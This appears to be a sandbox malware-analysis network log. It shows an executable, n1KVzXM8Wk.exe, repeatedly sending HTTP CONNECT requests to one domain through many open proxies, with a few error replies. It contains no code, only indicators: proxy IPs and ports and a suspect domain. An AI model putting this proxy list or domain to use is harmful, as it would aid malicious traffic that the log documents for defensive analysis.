Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1470	192.168.2.4	54270	43.153.36.48	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.746546984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1471	192.168.2.4	54212	94.23.222.122	28079	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.764385939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.365874052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.866391897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.866054058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.865989923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.865964890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.881623030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1472	192.168.2.4	54321	202.159.60.113	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.779589891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1473	192.168.2.4	54323	202.159.60.113	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.781526089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1474	192.168.2.4	54325	202.159.60.113	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.783543110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1475	192.168.2.4	54329	202.159.60.113	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.784949064 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1476	192.168.2.4	53087	194.233.78.142	42420	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.799388885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.815171957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.834741116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.834800005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:51.834336996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:03.834424019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:15.908205986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1477	192.168.2.4	51386	5.8.240.90	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.801639080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1478	192.168.2.4	51417	208.109.13.93	34308	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.806601048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.865804911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.866183996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.865932941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:51.881197929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1479	192.168.2.4	53846	74.208.177.198	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.806835890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.865761042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.866194963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.865931988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1480	192.168.2.4	54022	199.58.184.97	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.829142094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1481	192.168.2.4	54196	45.177.80.210	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.829377890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1482	192.168.2.4	54222	139.162.151.176	9050	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.829443932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1483	192.168.2.4	54169	8.222.145.238	15673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.833661079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1484	192.168.2.4	54268	172.67.181.103	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.833766937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.928962946 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1485	192.168.2.4	54139	51.68.164.77	15810	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.835385084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.680289030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.865910053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.975251913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.272166014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.569123983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1486	192.168.2.4	54273	104.18.237.128	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.835752964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.936651945 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1487	192.168.2.4	54365	43.153.174.106	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.852782011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1488	192.168.2.4	54242	144.217.180.238	8888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.853693962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.963233948 CET	255	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Length: 88 Data Raw: 64 69 61 6c 20 74 63 70 3a 20 6c 6f 6f 6b 75 70 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 6f 6e 20 31 32 37 2e 30 2e 30 2e 31 3a 35 33 3a 20 6e 6f 20 73 75 63 68 20 68 6f 73 74 0a Data Ascii: dial tcp: lookup heygirlisheeverythingyouwantedinaman.com on 127.0.0.1:53: no such host

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1489	192.168.2.4	54367	43.153.174.106	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.854104996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1490	192.168.2.4	54176	120.37.121.209	9091	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.857434034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.202406883 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Fri, 23 Feb 2024 08:45:39 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1491	192.168.2.4	53833	139.162.181.177	27660	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.857609034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.865794897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.866197109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.865957975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1492	192.168.2.4	54232	166.62.38.100	39308	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.869175911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.333590984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.835079908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.834841967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.834619999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.834676981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1493	192.168.2.4	54198	208.109.14.49	35618	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.871370077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1494	192.168.2.4	53830	98.162.25.7	31653	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.875343084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1495	192.168.2.4	54310	104.22.50.220	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.876317978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.964364052 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1496	192.168.2.4	54190	117.54.142.46	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.880655050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.716306925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.834825039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.944044113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.147288084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.444173098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:44.646783113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:53.053020954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:09.904215097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1497	192.168.2.4	54203	103.118.46.174	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.882215977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1498	192.168.2.4	54227	154.236.189.15	1981	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.886367083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.475035906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.178514004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680516005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.365978956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.084259987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.865801096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:44.084274054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:54.521809101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1499	192.168.2.4	53923	194.163.129.179	51212	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.886637926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1500	192.168.2.4	53879	178.253.200.209	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.895844936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1501	192.168.2.4	54145	103.204.54.50	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.904620886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1502	192.168.2.4	54350	172.64.152.98	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.949413061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
